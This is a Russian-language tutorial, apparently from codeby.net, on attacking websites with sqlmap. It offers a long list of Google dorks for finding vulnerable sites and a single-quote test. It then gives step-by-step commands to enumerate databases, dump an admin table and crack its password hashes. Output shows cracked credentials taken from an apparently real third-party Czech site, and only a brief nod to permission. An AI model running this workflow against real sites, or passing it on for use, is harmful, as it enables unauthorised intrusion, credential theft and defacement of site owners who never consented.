  • Полная поддержка систем управления базами данных MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase и SAP MaxDB.
  • Полная поддержка шести техник SQL-инъекции: слепая на логической основе, основанная на времени слепая, основанная на ошибках, UNION запрос, сложные запросы и нестандартный доступ.
  • Поддержка прямого соединения к базе данных без прохода через SQL-инъекцию путём предоставления полномочий СУБД, IP адреса, порта и имени базы данных.
  • Поддержка перебора пользователей, хешей паролей, привилегий, ролей, баз данных, таблиц и колонок.
  • Автоматическое распознавание формата хеша пароля и поддержка их взлома используя основанную на словаре атаку.
  • Поддержка, по выбору пользователя, создания дампа всех таблиц, определённого их диапазона или специфичных колонок.
  • Пользователь также может выбрать создание дампа только диапазона символов каждого вхождения колонки.
  • Поддержка поиска специфичных имён баз данных, специфичных таблиц по полным базам данных или по отдельным колонкам всех таблиц баз данных. Это полезно, например, для идентификации таблиц, содержащих учётные данные приложения, где соответствующие имена колонок содержат строки вроде name и pass (имя и пароль).
  • Поддержка загрузки и выгрузки любого файл с (на) файловую системы сервера базы данных, когда используются такие программы баз данных как MySQL, PostgreSQL или Microsoft SQL Server.
  • Поддержка выполнения произвольных команд и получение их стандартного вывода на операционной системе, под которой запущен сервер базы данных, когда используются такие программы баз данных как MySQL, PostgreSQL и Microsoft SQL Server.
  • Поддержка установки нестандартного соединения (out-of-band) TCP между атакующей машиной и операционной системой на которой работает база данных. Этим каналом могут быть интеративные командные запросы, сессия Meterpreter или сессия графического пользовательского интерфейса (VNC) — по выбору пользователя.
  • Поддержка процесса повышения прав пользователя через команды Metasploit передаваемые Meterpreter.

Пожалуйста, всегда держите в голове мысль о пользователе, который тратит своё время и усилия на поддержание веб-сайта и, возможно, жизненно зависит от него. Ваши действия могут повлиять на кого-то так, как вы этого никогда не желали. Я не знаю, как ещё доходчивее объяснить это вам.

Собственно, приступим:

Шаг 1: Ищем уязвимый веб-сайт

Это, как правило, самое творческое действие и занимает больше времени, чем другие шаги. Те, кто знает как использовать Google Dorks уже понимают, что нужно делать. Но в том случае, если вы не знаете, то я собрал вместе ряд строк, которые вы можете искать в Гугл. Просто скопируйте-вставьте любую из этих строк в Гугл, и Гугл покажет вам то, что сумел найти.

Шаг 1.а: Строки Google Dorks для поиска уязвимых к SQLMAP SQL веб-сайтов

Этот список действительно большой. У меня заняло много времени для его сбора. Если вы понимаете принцип отбора, тогда вы можете дополнить его. Оставляйте ваши дополнения к списку в комментариях, я добавлю их сюда.

Google Dork string Column 1 Google Dork string Column 2 Google Dork string Column 3
inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in= inurl:gallery.php?id=
inurl:trainers.php?id= inurl:curriculum.php?id= inurl:rub.php?idr=
inurl:news-full.php?id= inurl:labels.php?id= inurl:view_faq.php?id=
inurl:news_display.php?getid= inurl:story.php?id= inurl:artikelinfo.php?id=
inurl:index2.php?option= inurl:look.php?ID= inurl:detail.php?ID=
inurl:readnews.php?id= inurl:newsone.php?id= inurl:index.php?=
inurl:top10.php?cat= inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id= inurl:material.php?id= inurl:category.php?id=
inurl:event.php?id= inurl:opinions.php?id= inurl:publications.php?id=
inurl:product-item.php?id= inurl:announce.php?id= inurl:fellows.php?id=
inurl:sql.php?id= inurl:rub.php?idr= inurl:downloads_info.php?id=
inurl:index.php?catid= inurl:galeri_info.php?l= inurl:prod_info.php?id=
inurl:news.php?catid= inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id= inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id= inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id= inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id= inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category= inurl:offer.php?idf= inurl:releases.php?id=
inurl:article.php?ID= inurl:art.php?idm= inurl:ray.php?id=
inurl:play_old.php?id= inurl:title.php?id= inurl:produit.php?id=
inurl:declaration_more.php?decl_id= inurl:news_view.php?id= inurl:pop.php?id=
inurl:pageid= inurl:select_biblio.php?id= inurl:shopping.php?id=
inurl:games.php?id= inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file= inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id= inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id= inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:article.php?id= inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id= inurl:sem.php3?id= inurl:section.php?id=
inurl:staff_id= inurl:kategorie.php4?id= inurl:theme.php?id=
inurl:newsitem.php?num= inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id= inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat= inurl:faq2.php?id= inurl:tradeCategory.php?id=
inurl:historialeer.php?num= inurl:show_an.php?id= inurl:product_ranges_view.php?ID=
inurl:reagir.php?num= inurl:preview.php?id= inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num= inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num= inurl:opinions.php?id= inurl:channel_id=
inurl:game.php?id= inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id= inurl:pages.php?id= inurl:preview.php?id=
inurl:newsone.php?id= inurl:announce.php?id= inurl:loadpsb.php?id=
inurl:sw_comment.php?id= inurl:clanek.php4?id= inurl:pages.php?id=
inurl:news.php?id= inurl:participant.php?id=
inurl:avd_start.php?avd= inurl:download.php?id=
inurl:event.php?id= inurl:main.php?id=
inurl:product-item.php?id= inurl:review.php?id=
inurl:sql.php?id= inurl:chappies.php?id=
inurl:material.php?id= inurl:read.php?id=
inurl:clanek.php4?id= inurl:prod_detail.php?id=
inurl:announce.php?id= inurl:viewphoto.php?id=
inurl:chappies.php?id= inurl:article.php?id=
inurl:read.php?id= inurl:person.php?id=
inurl:viewapp.php?id= inurl:productinfo.php?id=
inurl:viewphoto.php?id= inurl:showimg.php?id=
inurl:rub.php?idr= inurl:view.php?id=
inurl:galeri_info.php?l= inurl:website.php?id=

Шаг 1.б: Начальная проверка для подтверждения, уязвим ли веб-сайт к SQLMAP SQL-инъекции

Для каждой строки, которые приведены выше, вы найдёте сотни поисковых результатов. Как узнать, которые из них действительно уязвимы к SQLMAP SQL-инъекции. Есть множество способов и я уверен, что люди будут спорить, какой из них лучший, но для меня следующий является самым простым и наиболее убедительным.

Допустим вы ищите, используя эту строку inurl:rubrika.php?idr=, и один из веб-сайтов в результатах поиска вроде этого:

http://www.sqldummywebsite.name/rubrika.php?id=28

http://www.sqldummywebsite.name/rubrika.php?id=28

Просто добавьте одиночную кавычку ‘ в конец URL. (Просто для уверенности » — это двойная кавычка, а ‘ — это одиночная кавычка).

Следовательно сейчас адрес будет примерно таким:

http://www.sqldummywebsite.name/rubrika.php?id=28'

http://www.sqldummywebsite.name/rubrika.php?id=28'

Если страница вернёт SQL ошибку, значит страница уязвима для SQLMAP SQL-инъекции. Если она загружается или перенаправляет вас на другую страницу, переходите к следующей странице в результатах поиска Гугл.

Посмотрите на скриншот ниже.

Примеры ошибок SQLi от различных баз данных и языков

Microsoft SQL Server

Server Error in ‘/’ Application. Unclosed quotation mark before the character string ‘attack;’ Description: An unhanded exception occurred during the execution of the current web request. Please review the stack trace for more information about the error where it originated in the code. Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string ‘attack;’.

Server Error in ‘/’ Application. Unclosed quotation mark before the character string ‘attack;’

Description: An unhanded exception occurred during the execution of the current web request. Please review the stack trace for more information about the error where it originated in the code.

Exception Details: System.Data.SqlClient.SqlException: Unclosed quotation mark before the character string ‘attack;’.

MySQL ошибки

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/myawesomestore.com/buystuff.php on line 12 Error: You have an error in your SQL syntax: check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 12

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /var/www/myawesomestore.com/buystuff.php on line 12

Error: You have an error in your SQL syntax: check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’’ at line 12

Oracle ошибки

java.sql.SQLException: ORA-00933: SQL command not properly ended at oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208) Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated

java.sql.SQLException: ORA-00933: SQL command not properly ended at oracle.jdbc.dbaaccess.DBError.throwSqlException(DBError.java:180) at oracle.jdbc.ttc7.TTIoer.processError(TTIoer.java:208)

Error: SQLExceptionjava.sql.SQLException: ORA-01756: quoted string not properly terminated

PostgreSQL Errors

Query failed: ERROR: unterminated quoted string at or near “‘’’”

Query failed: ERROR: unterminated quoted string at or near “‘’’”

Шаг 2: Строим список баз данных СУБД используя SQLMAP SQL-инъекцию

Как вы могли увидеть по вышеприведённому скриншоту, я нашёл уязвимый веб-сайт к SQLMAP SQL-инъекции. Сейчас мне нужно построить список всех баз данных уязвимой СУБД (это ещё называется перечислением баз данных СУБД). Так как я использую SQLMAP, то она также скажет мне, какая переменная является уязвимой.

Запустим следующую команду в отношении вашего уязвимого веб-сайта.

sqlmap -u http://www.sqldummywebsite.name/rubrika.php?id=31 --dbs

sqlmap -u http://www.sqldummywebsite.name/rubrika.php?id=31 --dbs

Здесь:

sqlmap = Имя бинарного файла программы sqlmap

-u = Целевой адрес (например. “http://www.sqldummywebsite.name/rubrika.php?id=31″)

—dbs = Перечислить базы данных СУБД

Скриншот ниже

Эта команда раскрыла совсем немного интересной информации:

web server operating system: Linux Gentoo web application technology: Nginx, PHP 5.3.29 back-end DBMS: MySQL 5.0.11 [18:47:01] [INFO] resumed: information_schema [18:47:01] [INFO] resumed: laminat

web server operating system: Linux Gentoo

web application technology: Nginx, PHP 5.3.29

back-end DBMS: MySQL 5.0.11

[18:47:01] [INFO] resumed: information_schema

[18:47:01] [INFO] resumed: laminat

Итак, сейчас у нас есть всего лишь одна база данных, в которую стоит заглянуть, information_schema — это стандартная база данных для почти каждой СУБД MYSQL. Следовательно, направим свой интерес на базу данных laminat.

Шаг 3. Построение списка таблиц целевой базы данных, используя SQLMAP SQL-инъекцию

Нам нужно знать как много таблицы имеются в СУБД этого веб-сайта и какие у них имена. Чтобы найти эту информацию выполните следующую команду:

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat --tables

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat --tables

Славненько, эта база данных имеет 18 таблиц.

[18:52:25] [INFO] fetching tables for database: 'laminat' [18:52:25] [INFO] fetching number of tables for database 'laminat' [18:52:25] [INFO] resumed: 18 [18:52:25] [INFO] resumed: admin [18:52:25] [INFO] resumed: browser [18:52:25] [INFO] resumed: diskuse [18:52:25] [INFO] resumed: diskuse_obor [18:52:25] [INFO] resumed: diskuse_tema [18:52:25] [INFO] resumed: historie [18:52:25] [INFO] resumed: mag_admvolby [18:52:25] [INFO] resumed: mag_anketa [18:52:25] [INFO] resumed: mag_autori [18:52:25] [INFO] resuming partial value: mag_cla [18:52:25] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval [18:52:25] [INFO] retrieved: ori [18:54:23] [INFO] retrieved: mag_claori... …............

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

[18:52:25] [INFO] fetching tables for database: 'laminat'

[18:52:25] [INFO] fetching number of tables for database 'laminat'

[18:52:25] [INFO] resumed: 18

[18:52:25] [INFO] resumed: admin

[18:52:25] [INFO] resumed: browser

[18:52:25] [INFO] resumed: diskuse

[18:52:25] [INFO] resumed: diskuse_obor

[18:52:25] [INFO] resumed: diskuse_tema

[18:52:25] [INFO] resumed: historie

[18:52:25] [INFO] resumed: mag_admvolby

[18:52:25] [INFO] resumed: mag_anketa

[18:52:25] [INFO] resumed: mag_autori

[18:52:25] [INFO] resuming partial value: mag_cla

[18:52:25] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[18:52:25] [INFO] retrieved: ori

[18:54:23] [INFO] retrieved: mag_claori...

…............

Ну и конечно мы хотим проверить, что находится внутри admin, используя SQLMAP SQL-инъекцию, поскольку, возможно, именно она содержит имя пользователя и пароль.

Шаг 4: Построение списка столбцов целевой таблицы выбранной базы данных используя SQLMAP SQL-инъекцию

Сейчас нам нужно построить список столбцов целевой таблицы admin базы данных нашего веб-сайта, используя SQLMAP SQL-инъекцию. SQLMAP SQL-инъекция делает это действительно простым, запустите следующую команду:

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin --columns

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin --columns

[19:57:42] [INFO] fetching columns for table 'admin' in database 'laminat' [19:57:42] [INFO] resumed: 5 [19:57:42] [INFO] resumed: id [19:57:42] [INFO] resumed: int(2) [19:57:42] [INFO] resumed: login [19:57:42] [INFO] resumed: v [19:57:42] [INFO] resumed: heslo [19:57:42] [INFO] resumed: varchar(32) [19:57:42] [INFO] resumed: jmeno [19:57:42] [INFO] resumed: varchar(20) [19:57:42] [INFO] resumed: stupen [19:57:42] [INFO] resumed: int(1) Database: laminat Table: admin [5 columns] +--------+-------------+ | Column | Type | +--------+-------------+ | heslo | varchar(32) | | id | int(2) | | jmeno | varchar(20) | | login | v | | stupen | int(1) | +--------+-------------+

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

[19:57:42] [INFO] fetching columns for table 'admin' in database 'laminat'

[19:57:42] [INFO] resumed: 5

[19:57:42] [INFO] resumed: id

[19:57:42] [INFO] resumed: int(2)

[19:57:42] [INFO] resumed: login

[19:57:42] [INFO] resumed: v

[19:57:42] [INFO] resumed: heslo

[19:57:42] [INFO] resumed: varchar(32)

[19:57:42] [INFO] resumed: jmeno

[19:57:42] [INFO] resumed: varchar(20)

[19:57:42] [INFO] resumed: stupen

[19:57:42] [INFO] resumed: int(1)

Database: laminat

Table: admin

[5 columns]

+--------+-------------+

| Column | Type |

+--------+-------------+

| heslo | varchar(32) |

| id | int(2) |

| jmeno | varchar(20) |

| login | v |

| stupen | int(1) |

+--------+-------------+

АГА! Это точно то, что мы ищем. Если вы не поняли причин моей радости, то небольшой урок лингвистики:

«heslo» — на чешском означает «пароль»

«stupen» — на чешском означает «степень»

А «login» означает на чешском «логин».

Т.е. в этой таблице есть имя пользователя и пароль.

Шаг 5: С помощью SQLMAP SQL-инъекции построим список пользователей из целевого столбца выбранной базы данных

SQLMAP SQL-инъекция делает это простым! Просто снова выполните команду:

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin --dump

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin --dump

Это командой мы получим полный дамп таблицы. Но если, например, таблица большая, и эксплуатируется слепая инъекция, то, для экономии времени можно модифицировать команду:

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin -C login --dump

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin -C login --dump

Мы получим список пользователей.

Почти закончили, теперь нам нужны пароли к этим пользователям. Следующим шагом мы их получим.

Шаг 6: С помощью SQLMAP SQL-инъекции извлекаем пароли из целевого столбца таблицы выбранной базы данных

Думаю, вы уже поняли какая команда будет следующей. Что ж, приступим.

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin -C heslo --dump

sqlmap -u www.sqldummywebsite.name/rubrika.php?id=31 -D laminat -T admin -C heslo --dump

ТАДА!! У нас есть пароль.

Но постойте, этот пароль выглядит забавно. Это не может быть чьим-то паролем. Кто-то, кто оставил подобную уязвимость в своём веб-сайте просто не может иметь пароль вроде этого.

Именно так и есть. Это хэш пароля. Это означает, что пароль зашифрован и сейчас нам нужно расшифровать его.

На самом деле, по-большому счёту, программа sqlmap сама всё сделает за нас.

Найдя пароли, она спросит, do you want to store hashes to a temporary file for eventual further processing with other tools, т. е. хотим ли мы сохранить хэши во временный файл, чтобы в дальнейшем обрабатывать их. Это на ваше усмотрение.

Теперь программа говорит do you want to crack them via a dictionary-based attack?, что означает, хотите ли вы использовать атаку, основанную на словаре. Это сэкономит уйму времени, поэтому если вы просто учитесь, пробуете, то соглашаемся.

Нам снова даются три опции:

[1] default dictionary file ‘/usr/share/sqlmap/txt/wordlist.zip’ (press Enter) (словарь по умолчанию — просто нажмите Enter)

[2] custom dictionary file (файл пользовательского словаря)

[3] file with list of dictionary files (файл со списком пользовательских словарей)

Просто нажмите Enter.

На и, наконец, программа спрашивает do you want to use common password suffixes? (slow!). Это означает, хотим ли мы использовать обычные префиксы. Я отвечаю нет, поскольку это очень долгая процедура. А конкретно этот сайт мне интересен только как пример урока. Узнаю я от него пароль или нет — мне всё равно. Я не готов тратить много времени на эту процедуру.

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n do you want to crack them via a dictionary-based attack? [Y/n/q] y [20:00:41] [INFO] using hash method 'md5_generic_passwd' [20:00:41] [INFO] resuming password 'nuvolari' for hash '493ccdcab464cff215467d4c62a7f142' what dictionary do you want to use? [1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter) [2] custom dictionary file [3] file with list of dictionary files > 1 [20:00:45] [INFO] using default dictionary do you want to use common password suffixes? (slow!) [y/N] n [20:00:49] [INFO] starting dictionary-based cracking (md5_generic_passwd) [20:01:05] [INFO] postprocessing table dump Database: laminat Table: admin [2 entries] +----+---------------+---------------------------------------------+-------+--------+ | id | jmeno | heslo | login | stupen | +----+---------------+---------------------------------------------+-------+--------+ | 1 | M?la | 493ccdcab464cff215467d4c62a7f142 (nuvolari) | fucek | 1 | | 4 | Administr?tor | d41d8cd98f00b204e9800998ecf8427e | admin | 1 | +----+---------------+---------------------------------------------+-------+--------+

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n

do you want to crack them via a dictionary-based attack? [Y/n/q] y

[20:00:41] [INFO] using hash method 'md5_generic_passwd'

[20:00:41] [INFO] resuming password 'nuvolari' for hash '493ccdcab464cff215467d4c62a7f142'

what dictionary do you want to use?

[1] default dictionary file '/usr/share/sqlmap/txt/wordlist.zip' (press Enter)

[2] custom dictionary file

[3] file with list of dictionary files

> 1

[20:00:45] [INFO] using default dictionary

do you want to use common password suffixes? (slow!) [y/N] n

[20:00:49] [INFO] starting dictionary-based cracking (md5_generic_passwd)

[20:01:05] [INFO] postprocessing table dump

Database: laminat

Table: admin

[2 entries]

+----+---------------+---------------------------------------------+-------+--------+

| id | jmeno | heslo | login | stupen |

+----+---------------+---------------------------------------------+-------+--------+

| 1 | M?la | 493ccdcab464cff215467d4c62a7f142 (nuvolari) | fucek | 1 |

| 4 | Administr?tor | d41d8cd98f00b204e9800998ecf8427e | admin | 1 |

+----+---------------+---------------------------------------------+-------+--------+

Не смотря на выбор «быстрых» опций, пароль расшифрован!

В этот раз всё получилось быстро и непринуждённо. Иногда бывает ещё проще — пароль не зашифрован. Иногда пароль не удаётся расшифровать быстрым способом. На этот случай у меня есть одна хитрость — я копирую хэш пароля и… ищу в Гугле. Примерно в половине случаев мне везёт — находятся тематические сайты, базы данных, в которых собраны расшифрованные хэши.

Давайте представим ситуацию, когда быстро пароль не подобрался, когда поиск по Гуглу и сайтам с радужными таблицами ( https://ru.wikipedia.org/wiki/Радужная_таблица ) не увенчался успехом, и это «не учебная тревога», т. е. вас интересует конкретный сайт и для вас важно знать для него пароль, то можно попытаться воспользоваться специальным программным обеспечением.

К расшифровке паролей я ещё вернусть, это будет большая статья, охватывающая взлом MD5, phpBB, MySQL и SHA1 паролей с помощью Hashcat на Kali. Не пропустите её.

Заключение

Спасибо за чтение и посещение этого веб-сайта.

Есть много других способов проникнуть в базу данных или получить пользовательскую информацию. Вам следует использовать эти техники только на веб-сайтах, которые дали вам на этой разрешение.

Пожалуйста, поделитесь этой статьёй, это даст возможность каждому изучить как с использованием этой техники тестировать их веб-сайты.

п.с. пока писал статью, какой-то чудак «хакнул» это несчастный сайт — ничего не удалил, просто дефейснул его. Друзья, давайте учиться, пробовать, думать, изучать программы, искать обходные пути, нестандартные решения, постигать глубины сетевых технологий, заглядывать туда, куда другие не могут, но давайте не будем заниматься мелкими пакостями!

codeby.net


Смотрите также